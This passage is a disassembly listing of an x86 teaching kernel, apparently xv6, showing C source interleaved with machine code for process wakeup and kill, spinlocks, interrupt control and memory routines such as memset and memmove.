801050f8: 81 7d fc b4 5a 11 80 cmpl $0x80115ab4,-0x4(%ebp)
801050ff: 72 d0 jb 801050d1 <wakeup1+0xf>
if(p->state == SLEEPING && p->chan == chan)
p->state = RUNNABLE;
}
80105101: c9 leave
80105102: c3 ret
80105103 <wakeup>:
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
80105103: 55 push %ebp
80105104: 89 e5 mov %esp,%ebp
80105106: 83 ec 18 sub $0x18,%esp
acquire(&ptable.lock);
80105109: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80105110: e8 fa 01 00 00 call 8010530f <acquire>
wakeup1(chan);
80105115: 8b 45 08 mov 0x8(%ebp),%eax
80105118: 89 04 24 mov %eax,(%esp)
8010511b: e8 a2 ff ff ff call 801050c2 <wakeup1>
release(&ptable.lock);
80105120: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80105127: e8 45 02 00 00 call 80105371 <release>
}
8010512c: c9 leave
8010512d: c3 ret
8010512e <kill>:
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
8010512e: 55 push %ebp
8010512f: 89 e5 mov %esp,%ebp
80105131: 83 ec 28 sub $0x28,%esp
struct proc *p;
acquire(&ptable.lock);
80105134: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
8010513b: e8 cf 01 00 00 call 8010530f <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80105140: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
80105147: eb 44 jmp 8010518d <kill+0x5f>
if(p->pid == pid){
80105149: 8b 45 f4 mov -0xc(%ebp),%eax
8010514c: 8b 40 10 mov 0x10(%eax),%eax
8010514f: 3b 45 08 cmp 0x8(%ebp),%eax
80105152: 75 32 jne 80105186 <kill+0x58>
p->killed = 1;
80105154: 8b 45 f4 mov -0xc(%ebp),%eax
80105157: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
8010515e: 8b 45 f4 mov -0xc(%ebp),%eax
80105161: 8b 40 0c mov 0xc(%eax),%eax
80105164: 83 f8 02 cmp $0x2,%eax
80105167: 75 0a jne 80105173 <kill+0x45>
p->state = RUNNABLE;
80105169: 8b 45 f4 mov -0xc(%ebp),%eax
8010516c: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
80105173: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
8010517a: e8 f2 01 00 00 call 80105371 <release>
return 0;
8010517f: b8 00 00 00 00 mov $0x0,%eax
80105184: eb 21 jmp 801051a7 <kill+0x79>
kill(int pid)
{
struct proc *p;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80105186: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
8010518d: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
80105194: 72 b3 jb 80105149 <kill+0x1b>
p->state = RUNNABLE;
release(&ptable.lock);
return 0;
}
}
release(&ptable.lock);
80105196: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
8010519d: e8 cf 01 00 00 call 80105371 <release>
return -1;
801051a2: b8 ff ff ff ff mov $0xffffffff,%eax
}
801051a7: c9 leave
801051a8: c3 ret
801051a9 <procdump>:
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
801051a9: 55 push %ebp
801051aa: 89 e5 mov %esp,%ebp
801051ac: 83 ec 58 sub $0x58,%esp
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801051af: c7 45 f0 b4 39 11 80 movl $0x801139b4,-0x10(%ebp)
801051b6: e9 db 00 00 00 jmp 80105296 <procdump+0xed>
if(p->state == UNUSED)
801051bb: 8b 45 f0 mov -0x10(%ebp),%eax
801051be: 8b 40 0c mov 0xc(%eax),%eax
801051c1: 85 c0 test %eax,%eax
801051c3: 0f 84 c5 00 00 00 je 8010528e <procdump+0xe5>
continue;
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
801051c9: 8b 45 f0 mov -0x10(%ebp),%eax
801051cc: 8b 40 0c mov 0xc(%eax),%eax
801051cf: 83 f8 05 cmp $0x5,%eax
801051d2: 77 23 ja 801051f7 <procdump+0x4e>
801051d4: 8b 45 f0 mov -0x10(%ebp),%eax
801051d7: 8b 40 0c mov 0xc(%eax),%eax
801051da: 8b 04 85 08 c0 10 80 mov -0x7fef3ff8(,%eax,4),%eax
801051e1: 85 c0 test %eax,%eax
801051e3: 74 12 je 801051f7 <procdump+0x4e>
state = states[p->state];
801051e5: 8b 45 f0 mov -0x10(%ebp),%eax
801051e8: 8b 40 0c mov 0xc(%eax),%eax
801051eb: 8b 04 85 08 c0 10 80 mov -0x7fef3ff8(,%eax,4),%eax
801051f2: 89 45 ec mov %eax,-0x14(%ebp)
801051f5: eb 07 jmp 801051fe <procdump+0x55>
else
state = "???";
801051f7: c7 45 ec d0 8d 10 80 movl $0x80108dd0,-0x14(%ebp)
cprintf("%d %s %s", p->pid, state, p->name);
801051fe: 8b 45 f0 mov -0x10(%ebp),%eax
80105201: 8d 50 6c lea 0x6c(%eax),%edx
80105204: 8b 45 f0 mov -0x10(%ebp),%eax
80105207: 8b 40 10 mov 0x10(%eax),%eax
8010520a: 89 54 24 0c mov %edx,0xc(%esp)
8010520e: 8b 55 ec mov -0x14(%ebp),%edx
80105211: 89 54 24 08 mov %edx,0x8(%esp)
80105215: 89 44 24 04 mov %eax,0x4(%esp)
80105219: c7 04 24 d4 8d 10 80 movl $0x80108dd4,(%esp)
80105220: e8 7c b1 ff ff call 801003a1 <cprintf>
if(p->state == SLEEPING){
80105225: 8b 45 f0 mov -0x10(%ebp),%eax
80105228: 8b 40 0c mov 0xc(%eax),%eax
8010522b: 83 f8 02 cmp $0x2,%eax
8010522e: 75 50 jne 80105280 <procdump+0xd7>
getcallerpcs((uint*)p->context->ebp+2, pc);
80105230: 8b 45 f0 mov -0x10(%ebp),%eax
80105233: 8b 40 1c mov 0x1c(%eax),%eax
80105236: 8b 40 0c mov 0xc(%eax),%eax
80105239: 83 c0 08 add $0x8,%eax
8010523c: 8d 55 c4 lea -0x3c(%ebp),%edx
8010523f: 89 54 24 04 mov %edx,0x4(%esp)
80105243: 89 04 24 mov %eax,(%esp)
80105246: e8 75 01 00 00 call 801053c0 <getcallerpcs>
for(i=0; i<10 && pc[i] != 0; i++)
8010524b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80105252: eb 1b jmp 8010526f <procdump+0xc6>
cprintf(" %p", pc[i]);
80105254: 8b 45 f4 mov -0xc(%ebp),%eax
80105257: 8b 44 85 c4 mov -0x3c(%ebp,%eax,4),%eax
8010525b: 89 44 24 04 mov %eax,0x4(%esp)
8010525f: c7 04 24 dd 8d 10 80 movl $0x80108ddd,(%esp)
80105266: e8 36 b1 ff ff call 801003a1 <cprintf>
else
state = "???";
cprintf("%d %s %s", p->pid, state, p->name);
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
8010526b: 83 45 f4 01 addl $0x1,-0xc(%ebp)
8010526f: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
80105273: 7f 0b jg 80105280 <procdump+0xd7>
80105275: 8b 45 f4 mov -0xc(%ebp),%eax
80105278: 8b 44 85 c4 mov -0x3c(%ebp,%eax,4),%eax
8010527c: 85 c0 test %eax,%eax
8010527e: 75 d4 jne 80105254 <procdump+0xab>
cprintf(" %p", pc[i]);
}
cprintf("\n");
80105280: c7 04 24 e1 8d 10 80 movl $0x80108de1,(%esp)
80105287: e8 15 b1 ff ff call 801003a1 <cprintf>
8010528c: eb 01 jmp 8010528f <procdump+0xe6>
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->state == UNUSED)
continue;
8010528e: 90 nop
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
8010528f: 81 45 f0 84 00 00 00 addl $0x84,-0x10(%ebp)
80105296: 81 7d f0 b4 5a 11 80 cmpl $0x80115ab4,-0x10(%ebp)
8010529d: 0f 82 18 ff ff ff jb 801051bb <procdump+0x12>
for(i=0; i<10 && pc[i] != 0; i++)
cprintf(" %p", pc[i]);
}
cprintf("\n");
}
}
801052a3: c9 leave
801052a4: c3 ret
801052a5: 00 00 add %al,(%eax)
...
801052a8 <readeflags>:
asm volatile("ltr %0" : : "r" (sel));
}
static inline uint
readeflags(void)
{
801052a8: 55 push %ebp
801052a9: 89 e5 mov %esp,%ebp
801052ab: 53 push %ebx
801052ac: 83 ec 10 sub $0x10,%esp
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
801052af: 9c pushf
801052b0: 5b pop %ebx
801052b1: 89 5d f8 mov %ebx,-0x8(%ebp)
return eflags;
801052b4: 8b 45 f8 mov -0x8(%ebp),%eax
}
801052b7: 83 c4 10 add $0x10,%esp
801052ba: 5b pop %ebx
801052bb: 5d pop %ebp
801052bc: c3 ret
801052bd <cli>:
asm volatile("movw %0, %%gs" : : "r" (v));
}
static inline void
cli(void)
{
801052bd: 55 push %ebp
801052be: 89 e5 mov %esp,%ebp
asm volatile("cli");
801052c0: fa cli
}
801052c1: 5d pop %ebp
801052c2: c3 ret
801052c3 <sti>:
static inline void
sti(void)
{
801052c3: 55 push %ebp
801052c4: 89 e5 mov %esp,%ebp
asm volatile("sti");
801052c6: fb sti
}
801052c7: 5d pop %ebp
801052c8: c3 ret
801052c9 <xchg>:
static inline uint
xchg(volatile uint *addr, uint newval)
{
801052c9: 55 push %ebp
801052ca: 89 e5 mov %esp,%ebp
801052cc: 53 push %ebx
801052cd: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
"+m" (*addr), "=a" (result) :
801052d0: 8b 55 08 mov 0x8(%ebp),%edx
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
801052d3: 8b 45 0c mov 0xc(%ebp),%eax
"+m" (*addr), "=a" (result) :
801052d6: 8b 4d 08 mov 0x8(%ebp),%ecx
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
801052d9: 89 c3 mov %eax,%ebx
801052db: 89 d8 mov %ebx,%eax
801052dd: f0 87 02 lock xchg %eax,(%edx)
801052e0: 89 c3 mov %eax,%ebx
801052e2: 89 5d f8 mov %ebx,-0x8(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
801052e5: 8b 45 f8 mov -0x8(%ebp),%eax
}
801052e8: 83 c4 10 add $0x10,%esp
801052eb: 5b pop %ebx
801052ec: 5d pop %ebp
801052ed: c3 ret
801052ee <initlock>:
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
801052ee: 55 push %ebp
801052ef: 89 e5 mov %esp,%ebp
lk->name = name;
801052f1: 8b 45 08 mov 0x8(%ebp),%eax
801052f4: 8b 55 0c mov 0xc(%ebp),%edx
801052f7: 89 50 04 mov %edx,0x4(%eax)
lk->locked = 0;
801052fa: 8b 45 08 mov 0x8(%ebp),%eax
801052fd: c7 00 00 00 00 00 movl $0x0,(%eax)
lk->cpu = 0;
80105303: 8b 45 08 mov 0x8(%ebp),%eax
80105306: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
8010530d: 5d pop %ebp
8010530e: c3 ret
8010530f <acquire>:
// Loops (spins) until the lock is acquired.
// Holding a lock for a long time may cause
// other CPUs to waste time spinning to acquire it.
void
acquire(struct spinlock *lk)
{
8010530f: 55 push %ebp
80105310: 89 e5 mov %esp,%ebp
80105312: 83 ec 18 sub $0x18,%esp
pushcli(); // disable interrupts to avoid deadlock.
80105315: e8 3d 01 00 00 call 80105457 <pushcli>
if(holding(lk))
8010531a: 8b 45 08 mov 0x8(%ebp),%eax
8010531d: 89 04 24 mov %eax,(%esp)
80105320: e8 08 01 00 00 call 8010542d <holding>
80105325: 85 c0 test %eax,%eax
80105327: 74 0c je 80105335 <acquire+0x26>
panic("acquire");
80105329: c7 04 24 0d 8e 10 80 movl $0x80108e0d,(%esp)
80105330: e8 08 b2 ff ff call 8010053d <panic>
// The xchg is atomic.
// It also serializes, so that reads after acquire are not
// reordered before it.
while(xchg(&lk->locked, 1) != 0)
80105335: 90 nop
80105336: 8b 45 08 mov 0x8(%ebp),%eax
80105339: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80105340: 00
80105341: 89 04 24 mov %eax,(%esp)
80105344: e8 80 ff ff ff call 801052c9 <xchg>
80105349: 85 c0 test %eax,%eax
8010534b: 75 e9 jne 80105336 <acquire+0x27>
;
// Record info about lock acquisition for debugging.
lk->cpu = cpu;
8010534d: 8b 45 08 mov 0x8(%ebp),%eax
80105350: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80105357: 89 50 08 mov %edx,0x8(%eax)
getcallerpcs(&lk, lk->pcs);
8010535a: 8b 45 08 mov 0x8(%ebp),%eax
8010535d: 83 c0 0c add $0xc,%eax
80105360: 89 44 24 04 mov %eax,0x4(%esp)
80105364: 8d 45 08 lea 0x8(%ebp),%eax
80105367: 89 04 24 mov %eax,(%esp)
8010536a: e8 51 00 00 00 call 801053c0 <getcallerpcs>
}
8010536f: c9 leave
80105370: c3 ret
80105371 <release>:
// Release the lock.
void
release(struct spinlock *lk)
{
80105371: 55 push %ebp
80105372: 89 e5 mov %esp,%ebp
80105374: 83 ec 18 sub $0x18,%esp
if(!holding(lk))
80105377: 8b 45 08 mov 0x8(%ebp),%eax
8010537a: 89 04 24 mov %eax,(%esp)
8010537d: e8 ab 00 00 00 call 8010542d <holding>
80105382: 85 c0 test %eax,%eax
80105384: 75 0c jne 80105392 <release+0x21>
panic("release");
80105386: c7 04 24 15 8e 10 80 movl $0x80108e15,(%esp)
8010538d: e8 ab b1 ff ff call 8010053d <panic>
lk->pcs[0] = 0;
80105392: 8b 45 08 mov 0x8(%ebp),%eax
80105395: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
lk->cpu = 0;
8010539c: 8b 45 08 mov 0x8(%ebp),%eax
8010539f: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
// But the 2007 Intel 64 Architecture Memory Ordering White
// Paper says that Intel 64 and IA-32 will not move a load
// after a store. So lock->locked = 0 would work here.
// The xchg being asm volatile ensures gcc emits it after
// the above assignments (and after the critical section).
xchg(&lk->locked, 0);
801053a6: 8b 45 08 mov 0x8(%ebp),%eax
801053a9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801053b0: 00
801053b1: 89 04 24 mov %eax,(%esp)
801053b4: e8 10 ff ff ff call 801052c9 <xchg>
popcli();
801053b9: e8 e1 00 00 00 call 8010549f <popcli>
}
801053be: c9 leave
801053bf: c3 ret
801053c0 <getcallerpcs>:
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
801053c0: 55 push %ebp
801053c1: 89 e5 mov %esp,%ebp
801053c3: 83 ec 10 sub $0x10,%esp
uint *ebp;
int i;
ebp = (uint*)v - 2;
801053c6: 8b 45 08 mov 0x8(%ebp),%eax
801053c9: 83 e8 08 sub $0x8,%eax
801053cc: 89 45 fc mov %eax,-0x4(%ebp)
for(i = 0; i < 10; i++){
801053cf: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%ebp)
801053d6: eb 32 jmp 8010540a <getcallerpcs+0x4a>
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
801053d8: 83 7d fc 00 cmpl $0x0,-0x4(%ebp)
801053dc: 74 47 je 80105425 <getcallerpcs+0x65>
801053de: 81 7d fc ff ff ff 7f cmpl $0x7fffffff,-0x4(%ebp)
801053e5: 76 3e jbe 80105425 <getcallerpcs+0x65>
801053e7: 83 7d fc ff cmpl $0xffffffff,-0x4(%ebp)
801053eb: 74 38 je 80105425 <getcallerpcs+0x65>
break;
pcs[i] = ebp[1]; // saved %eip
801053ed: 8b 45 f8 mov -0x8(%ebp),%eax
801053f0: c1 e0 02 shl $0x2,%eax
801053f3: 03 45 0c add 0xc(%ebp),%eax
801053f6: 8b 55 fc mov -0x4(%ebp),%edx
801053f9: 8b 52 04 mov 0x4(%edx),%edx
801053fc: 89 10 mov %edx,(%eax)
ebp = (uint*)ebp[0]; // saved %ebp
801053fe: 8b 45 fc mov -0x4(%ebp),%eax
80105401: 8b 00 mov (%eax),%eax
80105403: 89 45 fc mov %eax,-0x4(%ebp)
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80105406: 83 45 f8 01 addl $0x1,-0x8(%ebp)
8010540a: 83 7d f8 09 cmpl $0x9,-0x8(%ebp)
8010540e: 7e c8 jle 801053d8 <getcallerpcs+0x18>
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
80105410: eb 13 jmp 80105425 <getcallerpcs+0x65>
pcs[i] = 0;
80105412: 8b 45 f8 mov -0x8(%ebp),%eax
80105415: c1 e0 02 shl $0x2,%eax
80105418: 03 45 0c add 0xc(%ebp),%eax
8010541b: c7 00 00 00 00 00 movl $0x0,(%eax)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
80105421: 83 45 f8 01 addl $0x1,-0x8(%ebp)
80105425: 83 7d f8 09 cmpl $0x9,-0x8(%ebp)
80105429: 7e e7 jle 80105412 <getcallerpcs+0x52>
pcs[i] = 0;
}
8010542b: c9 leave
8010542c: c3 ret
8010542d <holding>:
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
8010542d: 55 push %ebp
8010542e: 89 e5 mov %esp,%ebp
return lock->locked && lock->cpu == cpu;
80105430: 8b 45 08 mov 0x8(%ebp),%eax
80105433: 8b 00 mov (%eax),%eax
80105435: 85 c0 test %eax,%eax
80105437: 74 17 je 80105450 <holding+0x23>
80105439: 8b 45 08 mov 0x8(%ebp),%eax
8010543c: 8b 50 08 mov 0x8(%eax),%edx
8010543f: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80105445: 39 c2 cmp %eax,%edx
80105447: 75 07 jne 80105450 <holding+0x23>
80105449: b8 01 00 00 00 mov $0x1,%eax
8010544e: eb 05 jmp 80105455 <holding+0x28>
80105450: b8 00 00 00 00 mov $0x0,%eax
}
80105455: 5d pop %ebp
80105456: c3 ret
80105457 <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
80105457: 55 push %ebp
80105458: 89 e5 mov %esp,%ebp
8010545a: 83 ec 10 sub $0x10,%esp
int eflags;
eflags = readeflags();
8010545d: e8 46 fe ff ff call 801052a8 <readeflags>
80105462: 89 45 fc mov %eax,-0x4(%ebp)
cli();
80105465: e8 53 fe ff ff call 801052bd <cli>
if(cpu->ncli++ == 0)
8010546a: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80105470: 8b 90 ac 00 00 00 mov 0xac(%eax),%edx
80105476: 85 d2 test %edx,%edx
80105478: 0f 94 c1 sete %cl
8010547b: 83 c2 01 add $0x1,%edx
8010547e: 89 90 ac 00 00 00 mov %edx,0xac(%eax)
80105484: 84 c9 test %cl,%cl
80105486: 74 15 je 8010549d <pushcli+0x46>
cpu->intena = eflags & FL_IF;
80105488: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010548e: 8b 55 fc mov -0x4(%ebp),%edx
80105491: 81 e2 00 02 00 00 and $0x200,%edx
80105497: 89 90 b0 00 00 00 mov %edx,0xb0(%eax)
}
8010549d: c9 leave
8010549e: c3 ret
8010549f <popcli>:
void
popcli(void)
{
8010549f: 55 push %ebp
801054a0: 89 e5 mov %esp,%ebp
801054a2: 83 ec 18 sub $0x18,%esp
if(readeflags()&FL_IF)
801054a5: e8 fe fd ff ff call 801052a8 <readeflags>
801054aa: 25 00 02 00 00 and $0x200,%eax
801054af: 85 c0 test %eax,%eax
801054b1: 74 0c je 801054bf <popcli+0x20>
panic("popcli - interruptible");
801054b3: c7 04 24 1d 8e 10 80 movl $0x80108e1d,(%esp)
801054ba: e8 7e b0 ff ff call 8010053d <panic>
if(--cpu->ncli < 0)
801054bf: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801054c5: 8b 90 ac 00 00 00 mov 0xac(%eax),%edx
801054cb: 83 ea 01 sub $0x1,%edx
801054ce: 89 90 ac 00 00 00 mov %edx,0xac(%eax)
801054d4: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax
801054da: 85 c0 test %eax,%eax
801054dc: 79 0c jns 801054ea <popcli+0x4b>
panic("popcli");
801054de: c7 04 24 34 8e 10 80 movl $0x80108e34,(%esp)
801054e5: e8 53 b0 ff ff call 8010053d <panic>
if(cpu->ncli == 0 && cpu->intena)
801054ea: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801054f0: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax
801054f6: 85 c0 test %eax,%eax
801054f8: 75 15 jne 8010550f <popcli+0x70>
801054fa: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80105500: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax
80105506: 85 c0 test %eax,%eax
80105508: 74 05 je 8010550f <popcli+0x70>
sti();
8010550a: e8 b4 fd ff ff call 801052c3 <sti>
}
8010550f: c9 leave
80105510: c3 ret
80105511: 00 00 add %al,(%eax)
...
80105514 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
80105514: 55 push %ebp
80105515: 89 e5 mov %esp,%ebp
80105517: 57 push %edi
80105518: 53 push %ebx
asm volatile("cld; rep stosb" :
80105519: 8b 4d 08 mov 0x8(%ebp),%ecx
8010551c: 8b 55 10 mov 0x10(%ebp),%edx
8010551f: 8b 45 0c mov 0xc(%ebp),%eax
80105522: 89 cb mov %ecx,%ebx
80105524: 89 df mov %ebx,%edi
80105526: 89 d1 mov %edx,%ecx
80105528: fc cld
80105529: f3 aa rep stos %al,%es:(%edi)
8010552b: 89 ca mov %ecx,%edx
8010552d: 89 fb mov %edi,%ebx
8010552f: 89 5d 08 mov %ebx,0x8(%ebp)
80105532: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
80105535: 5b pop %ebx
80105536: 5f pop %edi
80105537: 5d pop %ebp
80105538: c3 ret
80105539 <stosl>:
static inline void
stosl(void *addr, int data, int cnt)
{
80105539: 55 push %ebp
8010553a: 89 e5 mov %esp,%ebp
8010553c: 57 push %edi
8010553d: 53 push %ebx
asm volatile("cld; rep stosl" :
8010553e: 8b 4d 08 mov 0x8(%ebp),%ecx
80105541: 8b 55 10 mov 0x10(%ebp),%edx
80105544: 8b 45 0c mov 0xc(%ebp),%eax
80105547: 89 cb mov %ecx,%ebx
80105549: 89 df mov %ebx,%edi
8010554b: 89 d1 mov %edx,%ecx
8010554d: fc cld
8010554e: f3 ab rep stos %eax,%es:(%edi)
80105550: 89 ca mov %ecx,%edx
80105552: 89 fb mov %edi,%ebx
80105554: 89 5d 08 mov %ebx,0x8(%ebp)
80105557: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
8010555a: 5b pop %ebx
8010555b: 5f pop %edi
8010555c: 5d pop %ebp
8010555d: c3 ret
8010555e <memset>:
#include "types.h"
#include "x86.h"
void*
memset(void *dst, int c, uint n)
{
8010555e: 55 push %ebp
8010555f: 89 e5 mov %esp,%ebp
80105561: 83 ec 0c sub $0xc,%esp
if ((int)dst%4 == 0 && n%4 == 0){
80105564: 8b 45 08 mov 0x8(%ebp),%eax
80105567: 83 e0 03 and $0x3,%eax
8010556a: 85 c0 test %eax,%eax
8010556c: 75 49 jne 801055b7 <memset+0x59>
8010556e: 8b 45 10 mov 0x10(%ebp),%eax
80105571: 83 e0 03 and $0x3,%eax
80105574: 85 c0 test %eax,%eax
80105576: 75 3f jne 801055b7 <memset+0x59>
c &= 0xFF;
80105578: 81 65 0c ff 00 00 00 andl $0xff,0xc(%ebp)
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
8010557f: 8b 45 10 mov 0x10(%ebp),%eax
80105582: c1 e8 02 shr $0x2,%eax
80105585: 89 c2 mov %eax,%edx
80105587: 8b 45 0c mov 0xc(%ebp),%eax
8010558a: 89 c1 mov %eax,%ecx
8010558c: c1 e1 18 shl $0x18,%ecx
8010558f: 8b 45 0c mov 0xc(%ebp),%eax
80105592: c1 e0 10 shl $0x10,%eax
80105595: 09 c1 or %eax,%ecx
80105597: 8b 45 0c mov 0xc(%ebp),%eax
8010559a: c1 e0 08 shl $0x8,%eax
8010559d: 09 c8 or %ecx,%eax
8010559f: 0b 45 0c or 0xc(%ebp),%eax
801055a2: 89 54 24 08 mov %edx,0x8(%esp)
801055a6: 89 44 24 04 mov %eax,0x4(%esp)
801055aa: 8b 45 08 mov 0x8(%ebp),%eax
801055ad: 89 04 24 mov %eax,(%esp)
801055b0: e8 84 ff ff ff call 80105539 <stosl>
801055b5: eb 19 jmp 801055d0 <memset+0x72>
} else
stosb(dst, c, n);
801055b7: 8b 45 10 mov 0x10(%ebp),%eax
801055ba: 89 44 24 08 mov %eax,0x8(%esp)
801055be: 8b 45 0c mov 0xc(%ebp),%eax
801055c1: 89 44 24 04 mov %eax,0x4(%esp)
801055c5: 8b 45 08 mov 0x8(%ebp),%eax
801055c8: 89 04 24 mov %eax,(%esp)
801055cb: e8 44 ff ff ff call 80105514 <stosb>
return dst;
801055d0: 8b 45 08 mov 0x8(%ebp),%eax
}
801055d3: c9 leave
801055d4: c3 ret
801055d5 <memcmp>:
int
memcmp(const void *v1, const void *v2, uint n)
{
801055d5: 55 push %ebp
801055d6: 89 e5 mov %esp,%ebp
801055d8: 83 ec 10 sub $0x10,%esp
const uchar *s1, *s2;
s1 = v1;
801055db: 8b 45 08 mov 0x8(%ebp),%eax
801055de: 89 45 fc mov %eax,-0x4(%ebp)
s2 = v2;
801055e1: 8b 45 0c mov 0xc(%ebp),%eax
801055e4: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0){
801055e7: eb 32 jmp 8010561b <memcmp+0x46>
if(*s1 != *s2)
801055e9: 8b 45 fc mov -0x4(%ebp),%eax
801055ec: 0f b6 10 movzbl (%eax),%edx
801055ef: 8b 45 f8 mov -0x8(%ebp),%eax
801055f2: 0f b6 00 movzbl (%eax),%eax
801055f5: 38 c2 cmp %al,%dl
801055f7: 74 1a je 80105613 <memcmp+0x3e>
return *s1 - *s2;
801055f9: 8b 45 fc mov -0x4(%ebp),%eax
801055fc: 0f b6 00 movzbl (%eax),%eax
801055ff: 0f b6 d0 movzbl %al,%edx
80105602: 8b 45 f8 mov -0x8(%ebp),%eax
80105605: 0f b6 00 movzbl (%eax),%eax
80105608: 0f b6 c0 movzbl %al,%eax
8010560b: 89 d1 mov %edx,%ecx
8010560d: 29 c1 sub %eax,%ecx
8010560f: 89 c8 mov %ecx,%eax
80105611: eb 1c jmp 8010562f <memcmp+0x5a>
s1++, s2++;
80105613: 83 45 fc 01 addl $0x1,-0x4(%ebp)
80105617: 83 45 f8 01 addl $0x1,-0x8(%ebp)
{
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
8010561b: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
8010561f: 0f 95 c0 setne %al
80105622: 83 6d 10 01 subl $0x1,0x10(%ebp)
80105626: 84 c0 test %al,%al
80105628: 75 bf jne 801055e9 <memcmp+0x14>
if(*s1 != *s2)
return *s1 - *s2;
s1++, s2++;
}
return 0;
8010562a: b8 00 00 00 00 mov $0x0,%eax
}
8010562f: c9 leave
80105630: c3 ret
80105631 <memmove>:
void*
memmove(void *dst, const void *src, uint n)
{
80105631: 55 push %ebp
80105632: 89 e5 mov %esp,%ebp
80105634: 83 ec 10 sub $0x10,%esp
const char *s;
char *d;
s = src;
80105637: 8b 45 0c mov 0xc(%ebp),%eax
8010563a: 89 45 fc mov %eax,-0x4(%ebp)
d = dst;
8010563d: 8b 45 08 mov 0x8(%ebp),%eax
80105640: 89 45 f8 mov %eax,-0x8(%ebp)
if(s < d && s + n > d){
80105643: 8b 45 fc mov -0x4(%ebp),%eax
80105646: 3b 45 f8 cmp -0x8(%ebp),%eax
80105649: 73 54 jae 8010569f <memmove+0x6e>
8010564b: 8b 45 10 mov 0x10(%ebp),%eax
8010564e: 8b 55 fc mov -0x4(%ebp),%edx
80105651: 01 d0 add %edx,%eax
80105653: 3b 45 f8 cmp -0x8(%ebp),%eax
80105656: 76 47 jbe 8010569f <memmove+0x6e>
s += n;
80105658: 8b 45 10 mov 0x10(%ebp),%eax
8010565b: 01 45 fc add %eax,-0x4(%ebp)
d += n;
8010565e: 8b 45 10 mov 0x10(%ebp),%eax
80105661: 01 45 f8 add %eax,-0x8(%ebp)
while(n-- > 0)
80105664: eb 13 jmp 80105679 <memmove+0x48>
*--d = *--s;
80105666: 83 6d f8 01 subl $0x1,-0x8(%ebp)
